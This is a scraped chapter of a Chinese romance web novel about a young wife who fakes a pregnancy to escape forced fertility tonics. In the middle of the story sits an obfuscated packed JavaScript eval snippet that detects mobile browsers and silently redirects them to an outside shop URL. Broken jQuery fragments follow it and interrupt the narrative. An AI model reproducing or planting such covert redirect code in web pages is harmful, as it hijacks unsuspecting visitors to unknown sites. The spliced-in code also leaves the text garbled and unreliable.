文趣网 > 其他小说 > 不信你问嫂嫂 > 2. 假孕
    乌衔枝抿唇强忍失落:“有劳小叔。”

    俞临川微微颔首,待留青扶着乌衔枝上了马车后,才将食盒递过去,而后翻身上马,于前开路。

    夜色已深,今夜无月,唯马车外悬着的一盏灯笼随着车身摇晃,忽明忽暗。

    烛光顺着车帘缝隙钻进车内,烛火明灭间,乌衔枝看着食盒内纹丝未动的鹿肉,眼眶一热,满腔愤懑再难忍耐。

    是她高攀了他俞家,可这婚事不也是他点了头才能成的?

    情浓时,他能千里迢迢寻来垂丝海棠亲手栽于院中,于树下教她舞剑,说什么恩爱两不疑,要与她举案齐眉,白首偕老。

    如今,他军务繁忙,十天半月才回家一次,婆母想要孙子,她就忍着恶心每日三大碗补药往下灌。

    今日更是被赶着去军营寻他。

    她舍了脸面,在军营外等了小半个时辰,结果他连食盒都没动一下,面都不露,就让人送她回府。

    好似她是个不讲理的黏人精,与她多说一个字都会耽误他整备军务。

    他们母子就这样将她堵在中间。

    乌衔枝越想越觉得委屈,偏头落下泪来。

    风卷车帘,烛火将小叔颀长挺拔的腰背勾勒得如剑如松,暗纹浮动,泪眼朦胧的乌衔枝不禁想问一句:俞涉川这个缴了兵符的右威卫大将军,难不成比天子近臣金吾卫大将军还忙?

    大帐内,傅子真慢捻佛珠:“欲除徐氏,先罗其罪,然徐家树大根深,欲罗其罪,必得从内击破。策反太难,朕要你假死后,去做徐家幼女徐怀瑾的乘龙快婿。”

    “陛下好计谋。”俞涉川面露难色,“可徐怀瑾如何肯招我为婿。”

    “行舟仪表堂堂,徐家幼女怎会瞧不上?”傅子真胸有成竹地轻笑道,“徐怀瑾爱慕二郎多年,只可惜二郎是个木头疙瘩,半分也不曾理会。行舟与二郎样貌一般无二,若重伤躺在路边,她岂有不救之理?若再失个忆,一切岂不是顺水推舟?”

    俞涉川听得入迷,思量再三:“徐中书岂能答应?”

    傅子真:“徐敬臣溺爱幼女,若徐怀瑾非你不可,他必应允。”

    俞涉川沉思片刻,终是拿定主意,咬牙道:“为除国贼,微臣便舍了这张脸面!”

    “行舟胸怀大义!”傅子真仰面笑道,“事成之后,朕许你开国侯,赐金鱼袋!”

    二人相视一笑,举杯痛饮。

    “敢问小叔,大郎此去,几时能回?”乌衔枝掀起车帘,探身问道。

    她对俞涉川心中有气,可只有他回来了,才能暂时为她挡住那三碗一闻就想吐的补药。

    她盼他早些回府,自己早日有孕。

    俞临川握缰绳的手一紧,身形僵了一瞬,随即恍若未闻,轻踢马腹,与马车拉开了些距离。

    他一言不发,自始至终没有回头。

    乌衔枝无奈叹气,俞家二郎是出了名的惜字如金,样貌虽俊,却冷厉无情,平日里不苟言笑,唯抽刀杀人,刀尖染血时,才会勾唇笑上一笑。

    像那柄悬于腰间的黑漆横刀,唯出鞘显露锋芒时,才算开怀。

    可人到底不是刀剑,不是战无不克这日子就会好过的。

    婆母不喜执拗、冷情的二郎,二郎也甚少归家。

    乌衔枝与他只见过一面。

    今儿他不理她实属正常。

    乌衔枝不再多嘴,待马车停下,由留青去与俞临川打招呼,她自顾回府。

    寒风拂面,乌衔枝微微低头,拾阶而上。

    马蹄渐远,留青拎着食盒与石榴酒追上她,酒壶与食盒碰撞发出砰砰闷响,惹得乌衔枝愈发心烦。

    今夜落空,不知婆母会如何唠叨,今夜已深,不知婆母房中的李嬷嬷是否还如往常般,端着大碗补药在院中等她。

    乌衔枝脚步越走越慢,眉头越拧越紧,没能听见马蹄声又起。

    “阿嫂留步!”

    乌衔枝下意识回头,眼尾红痣的金吾大将军单手收紧缰绳,唇角微微勾起,偏头笑看她道:“估摸算了下日子,大哥最多半月便能归家。”

    方才没理她是在算日子?

    乌衔枝噗嗤笑出声来,眉间郁气淡了几分:“多谢小叔相告。”

    她沿阶而下,从留青手中拿过食盒和石榴酒,高高举起递给马上的俞临川:“多谢二郎一路相护。”

    “多谢阿嫂。”

    俞临川自然接过,嘴角笑意又深三分,她的这份谢礼他等了六年,原以为没了着落,今日竟收到了。

    待回时他策马绕行,避开积水,没让一滴水渍落到乌衔枝裙面上。

    直到马蹄声彻底消失,乌衔枝才转身回府。

    俞临川笑得很纯粹,笑时右眼眼尾红痣轻颤,着实好看。

    俞涉川的笑便不同,他的眼里总有很多欲望,每次见他对自己笑,乌衔枝总觉着自己要付出些什么。

    “阿姐!怎回来得这么晚,姐夫呢?!”

    乌衔枝一入锦舒院就被二妹乌觅珍扑了个满怀,她看二妹如小雀儿似得吱吱叫个没完,想着阿母给她起的小名雀娘,怕是与二妹更配些。

    “你都有身孕了,怎不早点歇息。”乌衔枝略带责备地宠溺道。

    乌觅珍只比乌衔枝小三个月,二人虽非一母所生,却自小相依相伴,比许多一母同胞的姊妹还要亲。

    自乌衔枝嫁入俞家后,姐妹二人已有近三年未见。

    近来乌觅珍夫君领了份去地方治水的差事,乌觅珍不想跋山涉水,便独自留在了京都,因挂念乌衔枝,便特意搬来俞府与她同住。

    乌衔枝生活单调,有她作伴后,日子有趣不少。

    只是她没想到,乌觅珍搬来不过半月,竟被诊出有近一月的身孕。

    “李嬷嬷又来了。”乌觅珍附耳低语,“阿姐何故一直给她好脸色。”

    李嬷嬷似是听见了般,也来迎她:“大娘子回来了。”

    话是对她说的,眼神却直往留青手上瞟,见食盒与酒壶都没带回来,李嬷嬷才露出个真心实意的笑来:“大娘子辛苦了,喝了补药便早些歇息吧。”

    还没进屋呢,一大碗乌漆嘛黑的补药就递了过来。

    浓稠绵密的黑让人看着就心里发堵,更别提各类药材混合在一起的气味,乌衔枝每每闻到都反胃想吐,她下意识别过头去。

    李嬷嬷一如往常般催促道:“夜深了,老夫人还等着奴婢回去复命呢。”

    乌觅珍狠狠剜了李嬷嬷一眼,而后躲到乌衔枝身后,等着她发作。

    在乌衔枝出嫁前,家中若有奴仆敢这般和她说话,她定是要让他们晓得厉害的。

    可如今的乌衔枝不会了。

    她强忍不适端起补药,想如从前般逼自己喝下,可碗刚放到嘴边,胃里就是一阵翻江倒海,乌衔枝不受控制地呕了起来。

    药碗脱手,摔碎在地,李嬷嬷大惊失色。

    乌衔枝干呕连连,乌觅珍心急不已,一面为她顺气,一面骂道:“非要阿姐喝这老什子的黑药,才会害得阿姐这般难受!”

    李嬷嬷:“这补药可是老夫人找名医遍寻古方开出来的助孕神药!”

    留青也凑了上来:“大娘子这样子和二小姐被诊有孕时一模一样!可要去请太医?!”

    “不可!”李嬷嬷赶忙阻止,“老夫人身子骨不好,不能让她空欢喜一场!”

    乌衔枝呕得眼冒金星,头脑发昏间她瞥见了乌觅珍的肚子,这补药若真有用,她怎么还没有怀孕?

    怎么她就不能有孕呢!

    满腔的愤懑让她失了理智,她用力攥紧乌觅珍的手,从嗓子眼里挤出几个字来:“唤云苓来!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787907|210233||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    云苓是乌衔枝的陪嫁医女,独住一院,深夜大张旗鼓地唤她来难免会惊动老夫人院子。

    “去唤云苓!”乌觅珍看清了李嬷嬷的犹豫,转头对留青呵道。

    看着留青一溜烟跑没了影,李嬷嬷苦了脸:“何必如此,忍忍不就过去了。”

    乌衔枝止了呕,嗓子发涩,胃像被人攥着般难受,这碗补药她喝了有一年半,她忍了有一年半。

    她不想再忍,也忍不下了。

    云苓来得很快,老夫人屋里的丫鬟们来得也不慢,她们有的朝李嬷嬷使眼色,有的凑到乌衔枝和云苓面前问东问西。

    乌衔枝心闷得紧,饮下乌觅珠端来的热茶,稍缓和了些,才不急不徐坐下,伸出手来由云苓诊脉。

    云苓指尖搭上乌衔枝手腕,屋内霎时安静,所有人齐刷刷盯着云苓,性急的见她抬手了立马问道:“如何啊?”

    云苓不解地看向乌衔枝:“姑娘吹风了?”

    李嬷嬷惊呼:“只是吹风?不是有了?!”

    云苓茫然看向乌衔枝:“嗯?”

    乌衔枝朝她眨了眨眼,缓声暗示:“不是有了?”

    云苓瞬间明白了她的意思,在所有人忧心忡忡的目光里,她重重点头,斩钉截铁道:“姑娘已有近一月身孕,怎可吹风?”

    “真有了!”李嬷嬷张大了嘴巴,欢喜得直拍手,“大娘子大喜!老夫人大喜!奴婢这就去回禀老夫人去!”

    “瞧她都开心坏了,连礼数都忘了。”于老夫人屋里的丫鬟们忙打圆场,“大娘子千万别往心里去,她自小就在老夫人身边伺候,今儿也是为老夫人和您高兴。”

    乌觅珠笑得合不拢嘴:“我与阿姐同岁,日后我们的孩子也同岁!”

    丫鬟们见她直往乌衔枝怀里钻,赶紧上前小心翼翼地拉开:“时辰也不早了,二姑娘也是有身孕的人,早点回去歇息吧。”

    几人也不给乌觅珠说话的机会,一人一边架着她就往外走。

    乌觅珠只来得及留下一句:“阿姐,我明日再来看你!”

    乌泱泱的人群顷刻如潮水般散去,屋内独剩云苓,“我的好姑娘,你何苦撒这慌!”

    乌衔枝抿唇静默几息后才缓缓开口道:“我受够那比泔水还难闻的补药,也不想再被人连夜赶出府,被逼着勾搭男人去,我忍不下去了。”

    她的语气格外平静,却在云苓心里掀起滔天巨浪。

    云苓见过乌衔枝少时锋芒毕露、与人据理力争、寸步不让的桀骜模样,所以她明白乌衔枝这三年忍得有多辛苦。

    云苓只道:“今夜可有成事?”

    她满眼期待,却见乌衔枝缓缓摇头。

    乌衔枝见她眉头越锁越紧,赶忙上前安慰:“他半月后回府,到时我定使尽浑身解数,阿苓,我会怀上的。”

    “只能如此了。”

    云苓拿起乌衔枝的双手,两边都诊上一遍后,又将乌衔枝口、眼、鼻、舌都细细看上一遍,才稍稍放了心,“身子没问题,只是这怀孕不是一个人的事,待那小子回府,你可得抓紧了。”

    “除了驱寒的药外,我再给你添一副助孕的。”

    “还得再添些延迟月信的才好。”

    “还得捡些不苦又好闻的药材来,我得回去再翻翻医书。”云苓操碎了心,急着要走,“姑娘辛苦了,这半月好好歇歇,半月后才好打起精神办大事。”

    乌衔枝眉间郁气尽扫,笑送云苓:“定竭力以赴,连榻都不让郎君下!”

    云苓啐了一声,羞红了脸走了,她步履太快,没注意端着水盆呆愣在屋门口的留青。

    直到片刻后,院中收拾碎瓷片的小丫鬟不小心划破了手指惊呼出声,留青才猛然回过神来。

    黑黢黢的补药早已沁入泥土,难闻的气味萦绕着垂丝海棠,风吹了一夜才堪堪淡去。